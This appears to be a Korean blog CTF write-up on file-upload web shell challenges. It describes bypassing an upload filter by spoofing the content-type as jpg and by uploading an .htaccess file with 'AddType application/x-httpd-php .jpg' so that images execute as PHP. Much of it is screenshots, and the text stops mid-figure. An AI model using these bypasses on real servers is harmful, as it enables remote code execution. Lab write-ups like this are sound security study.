&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;그러나 jpg인 경우 등록이 됩니다?....&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ble5dQ/dJMcahb5gHI/ZBkJjwS2k0zkjjLqZlHg30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ble5dQ/dJMcahb5gHI/ZBkJjwS2k0zkjjLqZlHg30/img.png&quot; data-origin-width=&quot;1545&quot; data-origin-height=&quot;1394&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.5733%; margin-right: 10px;&quot; data-widthpercent=&quot;47.12&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ble5dQ/dJMcahb5gHI/ZBkJjwS2k0zkjjLqZlHg30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fble5dQ%2FdJMcahb5gHI%2FZBkJjwS2k0zkjjLqZlHg30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1545&quot; height=&quot;1394&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U0msf/dJMcabppzvc/whnJAkTgpscMJhS34pLER0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U0msf/dJMcabppzvc/whnJAkTgpscMJhS34pLER0/img.png&quot; data-origin-width=&quot;1541&quot; data-origin-height=&quot;1239&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.264%;&quot; data-widthpercent=&quot;52.88&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U0msf/dJMcabppzvc/whnJAkTgpscMJhS34pLER0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU0msf%2FdJMcabppzvc%2FwhnJAkTgpscMJhS34pLER0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1541&quot; height=&quot;1239&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;저는 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;content-type jpg를 이용하여&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test123.php(web shell) 파일로 수정하였고&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;content-type&lt;span&gt; 우회를 할 수 있었습니다.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1917&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3W1GR/dJMcadnaOYT/ZUpS5BuplWK3srCRLgdtZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3W1GR/dJMcadnaOYT/ZUpS5BuplWK3srCRLgdtZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3W1GR/dJMcadnaOYT/ZUpS5BuplWK3srCRLgdtZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3W1GR%2FdJMcadnaOYT%2FZUpS5BuplWK3srCRLgdtZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1917&quot; height=&quot;332&quot; data-origin-width=&quot;1917&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtj7pd/dJMcabbSkuX/EHDvK0FGKZbhqfmHk189u0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtj7pd/dJMcabbSkuX/EHDvK0FGKZbhqfmHk189u0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtj7pd/dJMcabbSkuX/EHDvK0FGKZbhqfmHk189u0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdtj7pd%2FdJMcabbSkuX%2FEHDvK0FGKZbhqfmHk189u0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1956&quot; height=&quot;242&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;그리고 실행결과 flag 값 까지 얻을 수 있었습니다. 이는&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;확장자 뿐만 아니라 &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;content-type 검증을 해야하는데 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;검증을 안했기 때문입니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;CTF Web Shell 3&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/K04H4/dJMcadOeQER/uP9gnGJcgNSpbgKVcPhq0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/K04H4/dJMcadOeQER/uP9gnGJcgNSpbgKVcPhq0k/img.png&quot; data-origin-width=&quot;988&quot; data-origin-height=&quot;636&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.9807%; margin-right: 10px;&quot; data-widthpercent=&quot;50.57&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/K04H4/dJMcadOeQER/uP9gnGJcgNSpbgKVcPhq0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FK04H4%2FdJMcadOeQER%2FuP9gnGJcgNSpbgKVcPhq0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;988&quot; height=&quot;636&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pLp0l/dJMcafL7FgZ/pSQfYctl45goyaXchesM8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pLp0l/dJMcafL7FgZ/pSQfYctl45goyaXchesM8k/img.png&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;702&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.8565%;&quot; data-widthpercent=&quot;49.43&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pLp0l/dJMcafL7FgZ/pSQfYctl45goyaXchesM8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpLp0l%2FdJMcafL7FgZ%2FpSQfYctl45goyaXchesM8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1066&quot; height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;이번엔 취약점이 있는지 생각하며 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag.tx&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;t &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일을 찾아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt; &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;기존에 있는 &lt;/span&gt;test123 이라는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;계정을 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;로그인 하였습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvHqpp/dJMcahb5l5V/CKz9qGNyLprQEvR2ISl2xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvHqpp/dJMcahb5l5V/CKz9qGNyLprQEvR2ISl2xk/img.png&quot; data-origin-width=&quot;2577&quot; data-origin-height=&quot;1133&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.6074%; margin-right: 10px;&quot; data-widthpercent=&quot;54.24&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvHqpp/dJMcahb5l5V/CKz9qGNyLprQEvR2ISl2xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvHqpp%2FdJMcahb5l5V%2FCKz9qGNyLprQEvR2ISl2xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2577&quot; height=&quot;1133&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDw4V7/dJMcagEhCDl/xnyxpNMx3ZljerXZfyOL5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDw4V7/dJMcagEhCDl/xnyxpNMx3ZljerXZfyOL5K/img.png&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1334&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.2298%;&quot; data-widthpercent=&quot;45.76&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDw4V7/dJMcagEhCDl/xnyxpNMx3ZljerXZfyOL5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDw4V7%2FdJMcagEhCDl%2FxnyxpNMx3ZljerXZfyOL5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 취약점 테스트를 하기 위해 정상파일인 test.php 파일을&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;업로드를 진행해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1544&quot; data-origin-height=&quot;1326&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMltSA/dJMcac2TBTQ/dGj4eYo3gK39XkaxjLgjP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMltSA/dJMcac2TBTQ/dGj4eYo3gK39XkaxjLgjP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMltSA/dJMcac2TBTQ/dGj4eYo3gK39XkaxjLgjP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMltSA%2FdJMcac2TBTQ%2FdGj4eYo3gK39XkaxjLgjP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1544&quot; height=&quot;1326&quot; data-origin-width=&quot;1544&quot; data-origin-height=&quot;1326&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;여기도 확장자 검증을 진행하고 있습니다. web shell 2번 문제 같이&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;content-type 검증을 진행하는지 보겠습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/09tu9/dJMcahpDOdt/xuxjW7IboYYBIVGvzKOHgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/09tu9/dJMcahpDOdt/xuxjW7IboYYBIVGvzKOHgk/img.png&quot; data-origin-width=&quot;2533&quot; data-origin-height=&quot;1302&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.4988%; margin-right: 10px;&quot; data-widthpercent=&quot;48.06&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/09tu9/dJMcahpDOdt/xuxjW7IboYYBIVGvzKOHgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F09tu9%2FdJMcahpDOdt%2FxuxjW7IboYYBIVGvzKOHgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2533&quot; height=&quot;1302&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cI7CsL/dJMcadAIkpF/cxePkZKDPY5HOE9qZpc92k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cI7CsL/dJMcadAIkpF/cxePkZKDPY5HOE9qZpc92k/img.png&quot; data-origin-width=&quot;2538&quot; data-origin-height=&quot;1207&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.3384%;&quot; data-widthpercent=&quot;51.94&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cI7CsL/dJMcadAIkpF/cxePkZKDPY5HOE9qZpc92k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcI7CsL%2FdJMcadAIkpF%2FcxePkZKDPY5HOE9qZpc92k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2538&quot; height=&quot;1207&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;등록이 되었습니다. 이제 수정까지 되는지 확인해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boVBpB/dJMcadnaVB1/qUEod16aaHLtH7B8QWZTXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boVBpB/dJMcadnaVB1/qUEod16aaHLtH7B8QWZTXK/img.png&quot; data-origin-width=&quot;2564&quot; data-origin-height=&quot;1400&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.6656%; margin-right: 10px;&quot; data-widthpercent=&quot;50.25&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boVBpB/dJMcadnaVB1/qUEod16aaHLtH7B8QWZTXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboVBpB%2FdJMcadnaVB1%2FqUEod16aaHLtH7B8QWZTXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2564&quot; height=&quot;1400&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UG2Yo/dJMcagEhCJN/CokMa8SlmmQAtbF4Cgb8PK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UG2Yo/dJMcagEhCJN/CokMa8SlmmQAtbF4Cgb8PK/img.png&quot; data-origin-width=&quot;2553&quot; data-origin-height=&quot;1408&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.1716%;&quot; data-widthpercent=&quot;49.75&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UG2Yo/dJMcagEhCJN/CokMa8SlmmQAtbF4Cgb8PK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUG2Yo%2FdJMcagEhCJN%2FCokMa8SlmmQAtbF4Cgb8PK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2553&quot; height=&quot;1408&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;수정까지 안되는 것을 보니 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;확장자 뿐만 아니라&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;content-type &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;검&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;증을 하는 것 같습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;645&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfArtF/dJMcabQvLSj/4cUjTvtz9nKsRdSc4NYCu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfArtF/dJMcabQvLSj/4cUjTvtz9nKsRdSc4NYCu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfArtF/dJMcabQvLSj/4cUjTvtz9nKsRdSc4NYCu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfArtF%2FdJMcabQvLSj%2F4cUjTvtz9nKsRdSc4NYCu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1231&quot; height=&quot;645&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;645&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그리고 burp sutie에서 intercept 기능 사용하여&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; .htaccess 파일이 있습니다. 이것을 업로드 할 것 입니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;.htaccess&lt;span&gt;는 디렉토리 별로 실행할 수 있는 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;확장자로 지정할수 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;있으며 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;Add Type application/x-httpd-php 확장자명으로&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;활용 할 수 있습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 저는 Add&amp;nbsp;Type&amp;nbsp;application/x-httpd-php&lt;span style=&quot;color: #ee2323;&quot;&gt; .jpg &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;jpg를 php 로 인식을 시키켜 실행해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
